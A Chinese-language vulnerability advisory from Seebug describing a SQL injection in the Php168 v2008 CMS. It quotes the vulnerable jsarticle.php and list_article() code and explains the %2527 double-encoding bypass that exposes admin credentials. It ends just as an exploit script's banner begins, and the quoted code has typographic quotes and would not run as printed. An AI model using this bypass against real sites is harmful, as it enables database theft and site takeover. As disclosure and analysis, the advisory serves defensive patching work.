Php168 v2008 SQL注射漏洞

2008-07-12T00:00:00
ID SSV:3602
Type seebug
Reporter Root
Modified 2008-07-12T00:00:00

Description

历经数年开发与完善的”PHP168整站系统”是国内最早的多功能模块化 网站管理软件系统;不仅适合于建设一般的企业、政府、学校、个人等小型网站,同时也适合于建设地区门户、行业门户、收费网站等大中型网站,80sec在其 产品中发现了一个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。

在系统的jsarticle.php中,使用了urldecode用来解码用户提交的数据,但是在使用该函数之后并没有做进一步的有效性验证,从而导致精心构造的数据可以饶过系统的过滤以及php的Magic Quote保护,漏洞部分代码如下:

elseif($type=='like') {

$SQL.=" AND aid!='$id' ";

if(!$keyword) { extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'")); }

if($keyword){ $SQL.=" AND ( "; $keyword=urldecode($keyword); $detail=explode(" ",$keyword); unset($detail2); foreach( $detail AS $key=>$value){ $detail2[]=” BINARY title LIKE ‘%$value%’ “; } $str=implode(” OR “,$detail2); $SQL.=” $str ) “; }else{ $SQL.=” AND 0 “; }

$ORDER=’ list ‘; }

if(!$webdb[viewNoPassArticle]){ $SQL.=’ AND yz=1 ‘; }

$SQL=” WHERE $SQL ORDER BY $ORDER DESC LIMIT $rows”; $which=’*’; $listdb=list_article($SQL,$which,$leng); keyword被urldecode然后进入list_article函数,提交%2527将导致一个’进入SQL查询

在artic_function.php中的list_article函数如下

function list_article($SQL,$which='',$leng=40){ global $db,$pre; $query=$db->query("SELECT $which FROM {$pre}article $SQL"); while( $rs=$db->fetch_array($query) ){ if($rs[mid]){ $rss=$db->get_one(”SELECT * FROM {$pre}article_content{$rs[mid]} WHERE aid=’$rs[aid]‘ LIMIT 1″); $_rss && $rs=$rs+$_rss; } $rs[content]=@preg_replace(’/<([^<])>/is’,””,$rs[content]); //把HTML代码过滤掉 //如果文章有短标题,将以此显示在文章列表 if($rs[smalltitle]){ $title=$rs[smalltitle]; }else{ $title=$rs[title]; } $rs[title]=get_word($rs[full_title]=$title,$leng); if($rs[titlecolor]||$rs[fonttype]){ $titlecolor=$rs[titlecolor]?”color:$rs[titlecolor];”:”; $font_weight=$rs[fonttype]==1?’font-weight:bold;’:”; $rs[title]=”$rs[title]“; } $rs[posttime]=date(”Y-m-d”,$rs[full_posttime]=$rs[posttime]); if($rs[picurl]){ $rs[picurl]=tempdir($rs[picurl]); } $listdb[]=$rs; } return $listdb; } 直接进入SQl查询,导致注射漏洞的产生。

Php168 v2008 <a href=http://www.php168.com target=_blank>http://www.php168.com</a> 下载最新补丁

                                        
                                            
                                                #!/usr/bin/php
&lt;?php

print_r('
+---------------------------------------------------------------------------+
Php168 v2008 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolv